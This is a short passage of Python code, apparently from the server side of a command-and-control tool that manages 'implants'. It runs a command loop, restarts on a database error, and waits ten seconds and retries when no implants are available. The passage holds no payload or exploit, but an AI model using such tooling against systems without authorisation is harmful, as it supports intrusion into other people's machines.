commandloop(command, user)
except Exception as e:
if 'unable to open database file' in e:
startup(user)
else:
traceback.print_exc()
print("Error: %s" % e)
print("Currently no valid implants: sleeping for 10 seconds")
time.sleep(10)
startup(user)
